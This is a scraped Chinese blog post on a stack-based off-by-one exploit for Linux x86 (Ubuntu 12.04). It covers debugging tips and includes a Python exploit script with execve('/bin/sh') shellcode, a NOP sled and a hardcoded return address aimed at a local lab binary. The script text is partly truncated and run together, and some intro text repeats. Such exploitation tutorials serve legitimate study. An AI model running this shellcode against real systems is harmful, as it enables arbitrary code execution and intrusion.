1. 程式人生 > >Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基於棧)

Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基於棧)

也有 diy ubun bin 漏洞 cal cst nbsp process

Off-By-One 漏洞 (基於棧)

原文地址:https://bbs.pediy.com/thread-216954.htm

什麽是off by one?

將源字符串復制到目標緩沖區可能會導致off by one

1、源字符串長度等於目標緩沖區長度。

當源字符串長度等於目標緩沖區長度時,單個NULL字節將被復制到目標緩沖區上方。這裏由於目標緩沖區位於堆棧中,所以單個NULL字節可以覆蓋存儲在堆棧中的調用者的EBP的最低有效位(LSB),這可能導致任意的代碼執行。

一如既往的充分的定義,讓我們來看看off by one的漏洞代碼!

懶得粘貼了,還是看原文吧,僅對部分作出解釋。

這篇全文解釋的都特別清楚,我僅說下我調試過程中遇到的坑。

首先是這個使用的是core文件調試,編譯選項gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c

請註意沒有使用-g選項,那麽就不是debug模式,沒有debug模式,調試的時候就沒辦法在源碼上下斷,所以只能使用core文件進行。

使用core文件調試的辦法,作者也給出來了,但是我運行Python exp.py後,卻沒有core文件。經過查詢資料,使用ulimit -c命令查詢後,發現值為0,原來是系統默認(?)不允許創建core文件,修改限制,使用ulimit -c 1000修改

修改後,正常的生成了core文件。

還有一個比較坑的點是,gdb調試出的buf地址和真正運行的release版本的buf地址並不相同,偏移也有變化,需要特別註意。

還是老規矩,分享下我調試成功的exp.py文件

 1 #exp.py
 2 #!/usr/bin/env python
 3 import struct
 4 from subprocess import call
 5 
 6 #Spawn a shell. 
 7 #execve(/bin/sh) Size- 28 bytes.
 8 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\$
 9
10 ret_addr = 0xbffff426 11 12 #endianess conversion 13 def conv(num): 14 return struct.pack("<I",num)#turn Address + NOP‘s + Shellcode + J$ 15 buf = "A" * 68 16 buf += conv(ret_addr) 17 buf += "\x90" * 30 18 buf += scode 19 buf += "A" * 126 20 21 print "Calling vulnerable program" 22 call(["./vuln", buf])

Off-By-One 漏洞 (基於棧)

虛擬機安裝:Ubuntu 12.04(x86)

什麽是off by one?

將源字符串復制到目標緩沖區可能會導致off by one

1、源字符串長度等於目標緩沖區長度。

當源字符串長度等於目標緩沖區長度時,單個NULL字節將被復制到目標緩沖區上方。這裏由於目標緩沖區位於堆棧中,所以單個NULL字節可以覆蓋存儲在堆棧中的調用者的EBP的最低有效位(LSB),這可能導致任意的代碼執行。

一如既往的充分的定義,讓我們來看看off by one的漏洞代碼!

漏洞代碼:

Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基於棧)